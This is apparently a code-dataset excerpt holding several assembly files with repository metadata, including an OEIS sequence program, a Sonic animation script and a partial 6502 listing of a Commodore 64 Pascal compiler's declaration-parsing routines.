71607016443738114312445624320,20390110387069498507863475093504,41683917002817324616403310870528,85195033503619870518557729095680,174084080084467315777414444875776,355635414485904045373020407070720,726363793930775447057610936680448,1483230430429542664088736294240256,3028100371295182982825249781841920,6180747414062789504347550653612032
mov $1,2
mov $2,$0
mul $0,2
bin $0,2
pow $1,$2
mul $0,$1
div $0,2
| 188.818182
| 1,949
| 0.930188
|
542e1fcad858e540263f9885b26499df85489d35
| 424
|
asm
|
Assembly
|
_anim/Signpost.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 9
|
2021-01-15T13:47:53.000Z
|
2022-01-17T15:33:55.000Z
|
_anim/Signpost.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 7
|
2021-01-14T02:18:48.000Z
|
2021-03-24T15:44:30.000Z
|
_anim/Signpost.asm
|
kodishmediacenter/msu-md-sonic
|
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
|
[
"CC0-1.0"
] | 2
|
2021-01-14T13:14:26.000Z
|
2021-01-29T17:46:04.000Z
|
; ---------------------------------------------------------------------------
; Animation script - signpost
; ---------------------------------------------------------------------------
Ani_Sign: dc.w @eggman-Ani_Sign
dc.w @spin1-Ani_Sign
dc.w @spin2-Ani_Sign
dc.w @sonic-Ani_Sign
@eggman: dc.b $F, 0, afEnd
even
@spin1: dc.b 1, 0, 1, 2, 3, afEnd
@spin2: dc.b 1, 4, 1, 2, 3, afEnd
@sonic: dc.b $F, 4, afEnd
even
| 32.615385
| 77
| 0.403302
|
54c06161ab7d1acd1efd1a79f68dd7ab70a830e3
| 510
|
asm
|
Assembly
|
oeis/094/A094803.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/094/A094803.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/094/A094803.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A094803: Number of (s(0), s(1), ..., s(2n)) such that 0 < s(i) < 8 and |s(i) - s(i-1)| = 1 for i = 1,2,...,2n, s(0) = 1, s(2n) = 3.
; Submitted by Jon Maiga
; 1,3,9,28,90,296,988,3328,11272,38304,130416,444544,1516320,5174144,17659840,60282880,205795456,702583296,2398676736,8189409280,27960021504,95460743168,325921881088,1112763940864,3799207806976
mov $1,2
lpb $0
sub $0,1
add $4,$3
add $3,$1
sub $4,$1
sub $1,$4
add $1,$3
sub $2,5
add $4,6
add $2,$4
mov $4,$2
lpe
mov $0,$3
add $0,1
| 25.5
| 193
| 0.619608
|
11cc7d2bfe70ae3c303e260a41aae20e20ad6586
| 38,834
|
asm
|
Assembly
|
source/Pas6.asm
|
bootrino/gpascal
|
69ad86698c1b06d57c65ed861ef7f31ee16f8a14
|
[
"MIT"
] | null | null | null |
source/Pas6.asm
|
bootrino/gpascal
|
69ad86698c1b06d57c65ed861ef7f31ee16f8a14
|
[
"MIT"
] | null | null | null |
source/Pas6.asm
|
bootrino/gpascal
|
69ad86698c1b06d57c65ed861ef7f31ee16f8a14
|
[
"MIT"
] | null | null | null |
************************************************
2 * PASCAL COMPILER
3 * for Commodore 64
4 * PART 6
5 * Authors: Nick Gammon & Sue Gobbett
6 * SYM $9000
************************************************
8 P1 EQU $8013
9 P2 EQU $8DD4
10 P3 EQU $992E
11 P4 EQU $A380
12 P5 EQU $B384
13 P6 EQU $BCB8
14 *
15 STACK EQU $100
16 INBUF EQU $33C
17 KBD:BUF EQU $277
18 HIMEM EQU $283
19 COLOR EQU $286
20 HIBASE EQU $288
21 AUTODN EQU $292
22 BITNUM EQU $298
23 BAUDOF EQU $299
24 RODBS EQU $29D
25 RODBE EQU $29E
26 ENABRS EQU $2A1 ; RS232 enables
27 WARM:STR EQU $302 ; basic warm start vector
28 CINV EQU $314 ; hardware interrupt vector
29 *
30 SPACE EQU $20
31 CR EQU $D
32 FF EQU $C
33 LF EQU $A
34 MAX:STK EQU 32
35 NEW:STK EQU $FF
36 *
37 VIC EQU $D000
38 SID EQU $D400
39 CIA1 EQU $DC00
40 CIA2 EQU $DD00
41 DATAREG EQU $DD01
42 DDRB EQU $DD03
43 FLAG EQU $DD0D
44 BORDER EQU $D020
45 BKGND EQU $D021
46 *
47 COUT EQU $FFD2
48 STOP EQU $FFE1
49 GETIN EQU $FFE4
50 CHKOUT EQU $FFC9
51 CLRCHN EQU $FFCC
52 UNLSN EQU $FFAE
53 UNTKL EQU $FFAB
54 CHRIN EQU $FFCF
55 CHKIN EQU $FFC6
56 PLOT EQU $FFF0
57 CHROUT EQU $FFD2
58 CINT EQU $FF81
59 IOINIT EQU $FF84
60 CLALL EQU $FFE7
61 SETMSG EQU $FF90
62 SETLFS EQU $FFBA
63 SETNAM EQU $FFBD
64 OPEN EQU $FFC0
65 LOAD EQU $FFD5
66 READST EQU $FFB7
67 SAVE EQU $FFD8
68 RAMTAS EQU $FF87
69 RESTOR EQU $FF8A
70 MEMTOP EQU $FF99
71 UNTLK EQU $FFAB
72 CLOSE EQU $FFC3
73 *
74 *
75 DUM $2A7
76 *
77 * PASCAL WORK AREAS
78 *
************************************************
80 LINE:CNT EQU $2 ; 2 BYTES
81 LINE:NO EQU LINE:CNT
82 REG EQU $4 ; 2 BYTES
83 ROWL EQU REG
84 ROWH EQU REG+1
85 SRCE EQU REG
86 REG2 EQU $6 ; 2 BYTES
87 DEST EQU REG2
88 WX EQU $8 ; 2 BYTES
89 ERR:RTN EQU $B ; 2 BYTES
90 SYMTBL EQU $D
91 TOKEN EQU $16
92 TKNADR EQU $17 ; 2 BYTES
93 TKNLEN EQU $19
94 EOF EQU $1A
95 LIST EQU $1B
96 NXTCHR EQU $1C ; 2 BYTES
97 VALUE EQU $1E ; 3 BYTES
98 DIGIT EQU $21
99 NOTRSV EQU $22
100 FRAME EQU $23 ; 2 BYTES
101 LEVEL EQU $25
102 PCODE EQU $26
103 P EQU PCODE
104 PNTR EQU PCODE
105 ACT:PCDA EQU $28 ; 2 BYTES
106 DISPL EQU $2A ; 2 BYTES
107 OFFSET EQU $2C ; 2 BYTES
108 OPND EQU $2E ; 3 BYTES
109 DCODE EQU $31
110 ENDSYM EQU $32 ; 2 BYTES
111 ARG EQU $34
112 PROMPT EQU $35
113 WORKD EQU $36 ; 2 BYTES
114 ERRNO EQU $38
115 RTNADR EQU $39 ; 2 BYTES
116 BSAVE EQU $3B
117 WORK EQU $3C ; 2 BYTES
118 PRCITM EQU $3E ; 2 BYTES
119 DSPWRK EQU $40 ; 2 BYTES
120 PFLAG EQU $42
121 T EQU ENDSYM ; STACK POINTER 2 BYTES
122 TMP:PNTR EQU T
123 BASE EQU $45 ; 2 BYTES
124 TO EQU BASE
125 DATA EQU $47 ; 2 BYTES
126 RUNNING EQU $49
127 UPR:CASE EQU $4A
128 SCE:LIM EQU $4B ; 2 BYTES
129 FUNCTION EQU SCE:LIM
130 SPRITENO EQU SCE:LIM+1
131 STK:USE EQU $4D
132 VOICENO EQU STK:USE
133 SYMITM EQU $4E ; 2 BYTES
134 FROM EQU SYMITM
135 SYNTAX EQU $50
136 CHK:ARY EQU $51
137 SECRET EQU $52
138 VAL:CMP EQU $53
139 CTRLC:RT EQU $54 ; 2 BYTES
140 END:PCD EQU $56 ; 2 BYTES
141 REGB EQU $58
142 REG2B EQU $59
143 LEFTCOL EQU $5A
144 SIGN EQU $5B
145 TEMP EQU $5C ; 2 BYTES
146 CALL EQU $5E ; 2 BYTES
147 COUNT EQU $60
148 LNCNT EQU $61
149 LS EQU $62
150 PCSVD EQU $63 ; 2 BYTES
151 FIRST EQU $65
152 DBGTYP EQU $66
153 DBGFLG EQU $67
154 DEFP EQU $68 ; 2 BYTES
155 DEFS EQU $6A ; 2 BYTES
156 DATTYP EQU $6C
157 DOS:FLG EQU DATTYP
158 A5 EQU $6D ; 2 BYTES
159 MASK EQU A5
160 COLL:REG EQU A5+1
161 ST EQU $90
162 DFLTN EQU $99 ; input device
163 QUEUE EQU $C6
164 INDX EQU $C8
165 LXSP EQU $C9
166 BLNSW EQU $CC
167 BLNON EQU $CF
168 CRSW EQU $D0
169 BASL EQU $D1
170 CH EQU $D3
171 *
172 P:STACK EQU $CED0 ; P-CODE STACK
173 S:ANIMCT EQU $CED8 ; count of frames
174 S:ANIMPS EQU $CEE0 ; current position
175 S:ANIMCC EQU $CEE8 ; current frame count
176 S:ANIMFM EQU $CEF0 ; no. of frames
177 S:POINTR EQU $CEF8 ; pointers - 16 per sprite
178 SID:IMG EQU $CF7C
179 S:ACTIVE EQU $CF98
180 S:XPOS EQU $CFA0 ; 3 bytes each
181 S:YPOS EQU $CFB8 ; 2 bytes each
182 S:XINC EQU $CFC8 ; 3 bytes each
183 S:YINC EQU $CFE0 ; 2 bytes each
184 S:COUNT EQU $CFF0 ; 2 bytes each
185 *
186 COUNT1 DS 1
187 COUNT2 DS 1
188 SYM:USE DS 2 ; 2 BYTES
189 SAVCUR DS 6 ; 6 BYTES
190 BPOINT DS 20
191 CALL:P EQU BPOINT
192 CALL:A EQU BPOINT+1
193 CALL:X EQU BPOINT+2
194 CALL:Y EQU BPOINT+3
195 FNC:VAL EQU BPOINT+15
196 REMAIN EQU BPOINT+4
197 XPOSL EQU BPOINT+15
198 XPOSH EQU BPOINT+16
199 YPOS EQU BPOINT+17
200 CNTR EQU BPOINT+10
201 ECNTR EQU BPOINT
202 EPNTR EQU $43
203 REP:FROM EQU BPOINT+2
204 REP:TO EQU BPOINT+3
205 REP:LEN EQU BPOINT+4
206 PNTR:HI EQU BPOINT+5
207 IN:LGTH EQU BPOINT+6
208 LENGTH EQU BPOINT+7
209 FROM:ST EQU BPOINT+9
210 NUM:LINS EQU BPOINT+11
211 ED:COM EQU BPOINT+13
212 TO:LINE EQU BPOINT+15
213 FND:FROM EQU BPOINT+17
214 FND:TO EQU BPOINT+18
215 FND:POS EQU BPOINT+19
216 LASTP DS 2
217 INCHAR DS 1
218 IO:A DS 1
219 IO:Y DS 1
220 IO:X DS 1
221 CURR:CHR DS 1
222 HEX:WK DS 1
223 DS 2
224 STK:AVL DS 1
225 STK:PAGE DS 1
226 STK:WRK DS 1
227 STK:RT DS 2
228 BEG:STK DS 1
229 XSAVE DS 1
230 RES DS 3 ; 3 BYTES
231 MCAND DS 3 ; 3 BYTES
232 DIVISOR EQU MCAND
233 DVDN DS 3 ; 3 BYTES
234 RMNDR DS 1
235 TEMP1 DS 2
236 BIN:WRK DS 3
237 ASC:WRK DS 10
238 DEF:PCD DS 1
239 REP:SIZE DS 1
240 NLN:FLAG DS 1
241 Q:FLAG DS 1
242 FND:FLG DS 1
243 FND:LEN DS 1
244 UC:FLAG DS 1
245 TRN:FLAG DS 1
246 GLB:FLAG DS 1
247 INT:RTN DS 2 ; address to return to after a timer interrupt
248 INT:TEMP DS 1 ; for interrupt service routine
249 INT:TMP1 DS 1
250 INT:TMP2 DS 1
251 QT:TGL DS 1 ; quote toggle
252 QT:SIZE DS 1 ; number of characters in reserved words
253 DEND
************************************************
255 * SYMBOL TABLE DEFINES - RELATIVE TO SYMBOL TABLE ENTRY
************************************************
257 SYMPRV EQU 0
258 SYMLVL EQU 2
259 SYMTYP EQU 3
260 SYMDSP EQU 4
261 SYMARG EQU 6
262 SYMSUB EQU 6
263 SYMDAT EQU 8
264 SYMLEN EQU 9
265 SYMNAM EQU 10
************************************************
267 * ADDRESS CONSTANTS ETC.
************************************************
269 DUM $8000
270 DS 3
271 DS 3
272 DS 3
8009: 00 40 273 TS DA $4000
800B: 10 274 SYM:SIZE DFB 16
800C: 5B 275 LHB ASC '['
800D: 5D 276 RHB ASC ']'
800E: 22 277 QUOT:SYM ASC '"' ; QUOTE SYMBOL
800F: 3A 278 DELIMIT ASC ':' ; FIND/REPLACE DELIMITER
8010: 04 279 PR:CHAN DFB 4 ; PRINTER CHANNEL
8011: 08 280 DISK:CHN DFB 8 ; DISK CHANNEL
8012: 00 281 DFB 0 ; SPARE FOR NOW
282 DEND
283 *
284 *
************************************************
286 * PART 1 VECTORS
************************************************
288 V1 EQU P1
289 INIT EQU V1
290 GETNEXT EQU V1+3
291 COMSTL EQU V1+6
292 ISITHX EQU V1+9
293 ISITAL EQU V1+12
294 ISITNM EQU V1+15
295 CHAR EQU V1+18
296 GEN2:B EQU V1+21
297 DISHX EQU V1+24
298 ERROR EQU V1+27
299 GETCHK EQU V1+30
300 CHKTKN EQU V1+33
301 GENNOP EQU V1+36
302 GENADR EQU V1+39
303 GENNJP EQU V1+42
304 GENNJM EQU V1+45
305 TKNWRK EQU V1+48
306 PRBYTE EQU V1+51
307 GTOKEN EQU V1+54
308 SPARE2 EQU V1+57
309 FIXAD EQU V1+60
310 PSHWRK EQU V1+63
311 PULWRK EQU V1+66
312 PC EQU V1+69
313 PT EQU V1+72
314 PL EQU V1+75
315 PC8 EQU V1+78
316 GETANS EQU V1+81
317 PUTSP EQU V1+84
318 DISPAD EQU V1+87
319 CROUT EQU V1+90
320 SHLVAL EQU V1+93
321 GET:NUM EQU V1+96
322 GET:HEX EQU V1+99
323 FND:END EQU V1+102
324 PAUSE EQU V1+105
325 HOME EQU V1+108
326 RDKEY EQU V1+111
327 GENJMP EQU V1+114
328 GENRJMP EQU V1+117
329 ORG P6
BCB8: 4C F2 BC 330 JMP BLOCK
331 *
************************************************
333 * PART 2 VECTORS
************************************************
335 V2 EQU P2
336 STMNT EQU V2
337 EXPRES EQU V2+3
338 CHKLHP EQU V2+6
339 CHKRHP EQU V2+9
340 CHKLHB EQU V2+12
341 CHKRHB EQU V2+15
342 LOOKUP EQU V2+18
343 CHKDUP EQU V2+21
344 CONDEC EQU V2+24
345 VARDEC EQU V2+27
346 CONST EQU V2+30
347 GETSUB EQU V2+33
348 W:STRING EQU V2+36
349 WRKTKN EQU V2+39
350 SYMWRK EQU V2+42
351 WRKSYM EQU V2+45
352 PSHPCODE EQU V2+48
353 CHK:STAK EQU V2+51
354 SEARCH EQU V2+54
355 ADDSYM EQU V2+57
356 TKNJMP EQU V2+60
357 *
358 *
************************************************
360 CHKGET EQU *
BCBB: 20 34 80 361 JSR CHKTKN
BCBE: 4C 49 80 362 JMP GTOKEN
363 *
364 WRK:VAL EQU *
BCC1: 48 365 PHA
BCC2: A5 3C 366 LDA WORK
BCC4: 85 1E 367 STA VALUE
BCC6: A5 3D 368 LDA WORK+1
BCC8: 85 1F 369 STA VALUE+1
BCCA: 68 370 PLA
BCCB: 60 371 RTS
372 *
373 VAL:WRK EQU *
BCCC: 48 374 PHA
BCCD: A5 1E 375 LDA VALUE
BCCF: 85 3C 376 STA WORK
BCD1: A5 1F 377 LDA VALUE+1
BCD3: 85 3D 378 STA WORK+1
BCD5: 68 379 PLA
BCD6: 60 380 RTS
381 *
382 END:WRK EQU *
BCD7: 48 383 PHA
BCD8: A5 32 384 LDA ENDSYM
BCDA: 85 3C 385 STA WORK
BCDC: A5 33 386 LDA ENDSYM+1
BCDE: 85 3D 387 STA WORK+1
BCE0: 68 388 PLA
BCE1: 60 389 RTS
390 *
************************************************
392 *
393 *
394 * BLOCK
395 *
BCE2: 82 396 BLCKT1 DFB $82
BCE3: 5F BD 397 DA BLKCNS
BCE5: 83 398 BLCKT2 DFB $83
BCE6: 76 BD 399 DA BLKVAR
BCE8: 86 400 BLCKT3 DFB $86
BCE9: B5 BE 401 DA BLKPRC
BCEB: 87 402 DFB $87
BCEC: D6 BE 403 DA BLKFNC
BCEE: 88 404 DFB $88
BCEF: A4 BF 405 DA BLKBEG
BCF1: 00 406 DFB 0
407 *
408 *
BCF2: 20 07 8E 409 BLOCK JSR CHK:STAK
BCF5: A9 00 410 LDA #0
BCF7: 85 24 411 STA FRAME+1
BCF9: A9 06 412 LDA #6
BCFB: 85 23 413 STA FRAME
BCFD: A5 3E 414 LDA PRCITM
BCFF: 85 3C 415 STA WORK
BD01: A6 3F 416 LDX PRCITM+1
BD03: 86 3D 417 STX WORK+1
BD05: 05 3F 418 ORA PRCITM+1
BD07: F0 3A 419 BEQ BLK1
420 *
421 * HERE CHECK FOR CONSTRUCT:
422 *
423 * PROCEDURE ABCD;
424 * $1234;
425 *
426 * WHICH IS THE METHOD OF
427 * REFERRING TO EXTERNAL
428 * PROCEDURES
429 *
BD09: A5 16 430 LDA TOKEN
BD0B: C9 4E 431 CMP #'N'
BD0D: D0 20 432 BNE BLK1A
BD0F: A0 00 433 LDY #0
BD11: B1 17 434 LDA (TKNADR),Y
BD13: C9 24 435 CMP #'$'
BD15: D0 18 436 BNE BLK1A
BD17: A0 04 437 LDY #SYMDSP
BD19: A5 1E 438 LDA VALUE
BD1B: 91 3C 439 STA (WORK),Y
BD1D: C8 440 INY
BD1E: A5 1F 441 LDA VALUE+1
BD20: 91 3C 442 STA (WORK),Y
BD22: A9 01 443 LDA #1 ; FLAG ABSOLUTE PROCEDURE
BD24: A0 08 444 LDY #SYMDAT
BD26: 91 3C 445 STA (WORK),Y
BD28: A9 3B 446 LDA #';'
BD2A: A2 0A 447 LDX #10
BD2C: 4C 31 80 448 JMP GETCHK
449 *
BD2F: A0 04 450 BLK1A LDY #SYMDSP
BD31: A5 26 451 LDA PCODE
BD33: 91 3C 452 STA (WORK),Y
BD35: C8 453 INY
BD36: A5 27 454 LDA PCODE+1
BD38: 91 3C 455 STA (WORK),Y
BD3A: A9 00 456 LDA #0
BD3C: A0 08 457 LDY #SYMDAT
BD3E: 91 3C 458 STA (WORK),Y ; FLAG RELATIVE PROCEDURE
BD40: 4C 4B BD 459 JMP BLK2
BD43: A5 26 460 BLK1 LDA PCODE
BD45: 85 3C 461 STA WORK
BD47: A5 27 462 LDA PCODE+1
BD49: 85 3D 463 STA WORK+1
BD4B: 20 52 80 464 BLK2 JSR PSHWRK
BD4E: 20 3D 80 465 JSR GENNJP
BD51: A2 E2 466 LDX #BLCKT1
BD53: A0 BC 467 LDY #>BLCKT1
BD55: A5 16 468 BLK4 LDA TOKEN
BD57: 20 10 8E 469 JSR TKNJMP
BD5A: A2 19 470 LDX #25
BD5C: 20 2E 80 471 JSR ERROR
472 *
473 *
474 * CONSTANT
475 *
BD5F: 20 49 80 476 BLKCNS JSR GTOKEN
BD62: 20 EC 8D 477 BLKCN1 JSR CONDEC
BD65: A9 3B 478 LDA #';'
BD67: A2 0A 479 LDX #10
BD69: 20 BB BC 480 JSR CHKGET
BD6C: A2 E5 481 LDX #BLCKT2
BD6E: A0 BC 482 LDY #>BLCKT2
BD70: 20 10 8E 483 JSR TKNJMP
BD73: 4C 62 BD 484 JMP BLKCN1
485 *
486 * VARIABLE
487 *
BD76: A9 00 488 BLKVAR LDA #0
BD78: 8D A7 02 489 STA COUNT1
BD7B: 20 49 80 490 BLKVR1 JSR GTOKEN
BD7E: 20 EF 8D 491 BLKVR6 JSR VARDEC
BD81: EE A7 02 492 INC COUNT1
BD84: 10 03 493 BPL BLKVR7
BD86: 4C F5 BD 494 JMP BLKV13 ; ERROR
BD89: A5 16 495 BLKVR7 LDA TOKEN
BD8B: C9 2C 496 CMP #','
BD8D: F0 EC 497 BEQ BLKVR1
BD8F: A9 3A 498 LDA #':'
BD91: A2 05 499 LDX #5
BD93: 20 BB BC 500 JSR CHKGET
BD96: C9 84 501 CMP #$84 ; ARRAY
BD98: F0 42 502 BEQ BLKVR2
BD9A: C9 FE 503 CMP #$FE ; INTEGER
BD9C: F0 0A 504 BEQ BLKVR8
BD9E: A9 A1 505 LDA #$A1 ; CHAR
BDA0: A2 24 506 LDX #36
BDA2: 20 34 80 507 JSR CHKTKN
BDA5: 4C 9C BE 508 JMP BLKVR3
BDA8: 20 41 BE 509 BLKVR8 JSR BLKVR9
BDAB: A0 00 510 BLKV10 LDY #SYMPRV
BDAD: B1 3C 511 LDA (WORK),Y
BDAF: AA 512 TAX
BDB0: C8 513 INY
BDB1: B1 3C 514 LDA (WORK),Y
BDB3: 85 3D 515 STA WORK+1
BDB5: 8A 516 TXA
BDB6: 85 3C 517 STA WORK ; PREVIOUS ITEM
BDB8: A0 08 518 LDY #SYMDAT
BDBA: A9 00 519 LDA #0 ; INTEGER TYPE
BDBC: 91 3C 520 STA (WORK),Y
BDBE: A5 23 521 LDA FRAME
BDC0: A0 04 522 LDY #SYMDSP
BDC2: 91 3C 523 STA (WORK),Y
BDC4: C8 524 INY
BDC5: A5 24 525 LDA FRAME+1
BDC7: 91 3C 526 STA (WORK),Y
BDC9: 18 527 CLC
BDCA: A5 23 528 LDA FRAME
BDCC: 69 03 529 ADC #3
BDCE: 85 23 530 STA FRAME
BDD0: 90 02 531 BCC BLKV10:A
BDD2: E6 24 532 INC FRAME+1
533 BLKV10:A EQU *
BDD4: CE A7 02 534 DEC COUNT1
BDD7: D0 D2 535 BNE BLKV10
BDD9: 4C 9C BE 536 JMP BLKVR3
537 *
538 * ARRAY [ N ] OF ...
539 *
BDDC: 20 E0 8D 540 BLKVR2 JSR CHKLHB
BDDF: 20 F2 8D 541 JSR CONST
BDE2: A5 20 542 LDA VALUE+2
BDE4: D0 0F 543 BNE BLKV13
BDE6: A5 1E 544 LDA VALUE
BDE8: 18 545 CLC
BDE9: 69 01 546 ADC #1
BDEB: 85 1E 547 STA VALUE
BDED: A5 1F 548 LDA VALUE+1
BDEF: 30 04 549 BMI BLKV13
BDF1: 69 00 550 ADC #0
BDF3: 10 05 551 BPL BLKVR4
BDF5: A2 0F 552 BLKV13 LDX #15
BDF7: 20 2E 80 553 JSR ERROR
BDFA: 85 1F 554 BLKVR4 STA VALUE+1
BDFC: 20 CC BC 555 JSR VAL:WRK
BDFF: 20 49 80 556 JSR GTOKEN
BE02: 20 E3 8D 557 JSR CHKRHB
BE05: A9 01 558 LDA #1
BE07: 85 6C 559 STA DATTYP
BE09: A9 85 560 LDA #$85 ; OF
BE0B: A2 1A 561 LDX #26
BE0D: 20 BB BC 562 JSR CHKGET
BE10: C9 FE 563 CMP #$FE ; INTEGER
BE12: D0 20 564 BNE BLKV11
BE14: C6 6C 565 DEC DATTYP
BE16: 20 C1 BC 566 JSR WRK:VAL
567 *
568 * MULTIPLY VALUE BY 3
569 *
BE19: A5 1E 570 LDA VALUE
BE1B: A6 1F 571 LDX VALUE+1
BE1D: 06 1E 572 ASL VALUE
BE1F: 26 1F 573 ROL VALUE+1
BE21: B0 D2 574 BCS BLKV13
BE23: 65 1E 575 ADC VALUE
BE25: 85 1E 576 STA VALUE
BE27: 8A 577 TXA
BE28: 65 1F 578 ADC VALUE+1
BE2A: B0 C9 579 BCS BLKV13
BE2C: 85 1F 580 STA VALUE+1
BE2E: 20 CC BC 581 JSR VAL:WRK
BE31: 4C 3B BE 582 JMP BLKV12
BE34: A9 A1 583 BLKV11 LDA #$A1 ; CHAR
BE36: A2 24 584 LDX #36
BE38: 20 34 80 585 JSR CHKTKN
BE3B: 20 41 BE 586 BLKV12 JSR BLKVR9
BE3E: 4C 5B BE 587 JMP BLKVR5
588 BLKVR9 EQU *
BE41: A5 23 589 LDA FRAME
BE43: 38 590 SEC
BE44: ED A7 02 591 SBC COUNT1
BE47: 85 23 592 STA FRAME
BE49: A5 24 593 LDA FRAME+1
BE4B: E9 00 594 SBC #0
BE4D: 85 24 595 STA FRAME+1
BE4F: 20 C1 BC 596 JSR WRK:VAL
BE52: A5 32 597 LDA ENDSYM
BE54: 85 3C 598 STA WORK
BE56: A5 33 599 LDA ENDSYM+1
BE58: 85 3D 600 STA WORK+1
BE5A: 60 601 RTS
BE5B: A0 00 602 BLKVR5 LDY #SYMPRV
BE5D: B1 3C 603 LDA (WORK),Y
BE5F: AA 604 TAX
BE60: C8 605 INY
BE61: B1 3C 606 LDA (WORK),Y
BE63: 85 3D 607 STA WORK+1
BE65: 8A 608 TXA
BE66: 85 3C 609 STA WORK ; PREVIOUS ITEM
BE68: A0 03 610 LDY #SYMTYP
BE6A: A9 41 611 LDA #'A'
BE6C: 91 3C 612 STA (WORK),Y
BE6E: A0 04 613 LDY #SYMDSP
BE70: A5 23 614 LDA FRAME
BE72: 91 3C 615 STA (WORK),Y
BE74: C8 616 INY
BE75: A5 24 617 LDA FRAME+1
BE77: 91 3C 618 STA (WORK),Y
BE79: A5 1E 619 LDA VALUE
BE7B: 18 620 CLC
BE7C: 65 23 621 ADC FRAME
BE7E: 85 23 622 STA FRAME
BE80: A5 1F 623 LDA VALUE+1
BE82: 65 24 624 ADC FRAME+1
BE84: 85 24 625 STA FRAME+1
BE86: A0 08 626 LDY #SYMDAT
BE88: A5 6C 627 LDA DATTYP
BE8A: 91 3C 628 STA (WORK),Y
BE8C: A0 06 629 LDY #SYMSUB
BE8E: A5 1E 630 LDA VALUE
BE90: 91 3C 631 STA (WORK),Y
BE92: A5 1F 632 LDA VALUE+1
BE94: C8 633 INY
BE95: 91 3C 634 STA (WORK),Y
BE97: CE A7 02 635 DEC COUNT1
BE9A: D0 BF 636 BNE BLKVR5
BE9C: A9 3B 637 BLKVR3 LDA #';'
BE9E: A2 0A 638 LDX #10
BEA0: 20 31 80 639 JSR GETCHK
BEA3: 20 49 80 640 JSR GTOKEN
BEA6: A2 E8 641 LDX #BLCKT3
BEA8: A0 BC 642 LDY #>BLCKT3
BEAA: 20 10 8E 643 JSR TKNJMP
BEAD: A9 00 644 LDA #0
BEAF: 8D A7 02 645 STA COUNT1
BEB2: 4C 7E BD 646 JMP BLKVR6
647 *
648 * PROCEDURE DECLARATION
649 *
BEB5: A9 49 650 BLKPRC LDA #'I'
BEB7: A2 04 651 LDX #4
BEB9: 20 31 80 652 JSR GETCHK
BEBC: A9 00 653 LDA #0
BEBE: 8D A7 02 654 STA COUNT1
BEC1: 20 E9 8D 655 JSR CHKDUP
BEC4: A9 50 656 LDA #'P'
BEC6: 20 0D 8E 657 JSR ADDSYM
BEC9: E6 25 658 INC LEVEL
BECB: A5 4E 659 LDA SYMITM
BECD: 85 3E 660 STA PRCITM
BECF: A5 4F 661 LDA SYMITM+1
BED1: 85 3F 662 STA PRCITM+1
BED3: 4C F9 BE 663 JMP BLKPR1
664 *
665 * FUNCTION DECLARATION
666 *
BED6: A9 49 667 BLKFNC LDA #'I'
BED8: A2 04 668 LDX #4
BEDA: 20 31 80 669 JSR GETCHK
BEDD: 20 E9 8D 670 JSR CHKDUP
BEE0: A9 46 671 LDA #'F'
BEE2: 20 0D 8E 672 JSR ADDSYM
BEE5: E6 25 673 INC LEVEL
BEE7: A9 01 674 LDA #1
BEE9: 8D A7 02 675 STA COUNT1
BEEC: A5 4E 676 LDA SYMITM
BEEE: 85 3E 677 STA PRCITM
BEF0: A5 4F 678 LDA SYMITM+1
BEF2: 85 3F 679 STA PRCITM+1
BEF4: A9 59 680 LDA #'Y'
BEF6: 20 0D 8E 681 JSR ADDSYM
682 *
683 * PROCEDURE AND FUNCTION COMMON CODE
684 *
BEF9: AD A7 02 685 BLKPR1 LDA COUNT1
BEFC: 8D A8 02 686 STA COUNT2
BEFF: 20 D7 BC 687 JSR END:WRK
BF02: 20 52 80 688 JSR PSHWRK
BF05: A5 23 689 LDA FRAME
BF07: 85 3C 690 STA WORK
BF09: A5 24 691 LDA FRAME+1
BF0B: 85 3D 692 STA WORK+1
BF0D: 20 52 80 693 JSR PSHWRK
BF10: 20 49 80 694 JSR GTOKEN
BF13: C9 28 695 CMP #'('
BF15: D0 17 696 BNE BLKPR2
BF17: 20 49 80 697 BLKPR3 JSR GTOKEN
BF1A: 20 EF 8D 698 JSR VARDEC
BF1D: EE A7 02 699 INC COUNT1
BF20: 10 03 700 BPL BLKPR6
BF22: 4C F5 BD 701 JMP BLKV13
BF25: A5 16 702 BLKPR6 LDA TOKEN
BF27: C9 2C 703 CMP #','
BF29: F0 EC 704 BEQ BLKPR3
BF2B: 20 DD 8D 705 JSR CHKRHP
BF2E: A5 3E 706 BLKPR2 LDA PRCITM
BF30: 85 3C 707 STA WORK
BF32: A5 3F 708 LDA PRCITM+1
BF34: 85 3D 709 STA WORK+1
BF36: A0 06 710 LDY #SYMARG
BF38: AD A7 02 711 LDA COUNT1
BF3B: 38 712 SEC
BF3C: ED A8 02 713 SBC COUNT2
BF3F: 91 3C 714 STA (WORK),Y
BF41: A9 3B 715 LDA #';'
BF43: A2 0A 716 LDX #10
BF45: 20 34 80 717 JSR CHKTKN
BF48: AD A7 02 718 LDA COUNT1
BF4B: F0 2B 719 BEQ BLKPR4
BF4D: 20 D7 BC 720 JSR END:WRK
BF50: A2 FD 721 LDX #$FD
BF52: A0 00 722 BLKPR5 LDY #SYMPRV
BF54: B1 3C 723 LDA (WORK),Y
BF56: 48 724 PHA
BF57: C8 725 INY
BF58: B1 3C 726 LDA (WORK),Y
BF5A: 85 3D 727 STA WORK+1
BF5C: 68 728 PLA
BF5D: 85 3C 729 STA WORK
BF5F: A0 08 730 LDY #SYMDAT
BF61: A9 00 731 LDA #0
BF63: 91 3C 732 STA (WORK),Y
BF65: A0 04 733 LDY #SYMDSP
BF67: 8A 734 TXA
BF68: 91 3C 735 STA (WORK),Y
BF6A: 38 736 SEC
BF6B: E9 03 737 SBC #3
BF6D: AA 738 TAX
BF6E: A9 FF 739 LDA #$FF
BF70: C8 740 INY
BF71: 91 3C 741 STA (WORK),Y
BF73: CE A7 02 742 DEC COUNT1
BF76: D0 DA 743 BNE BLKPR5
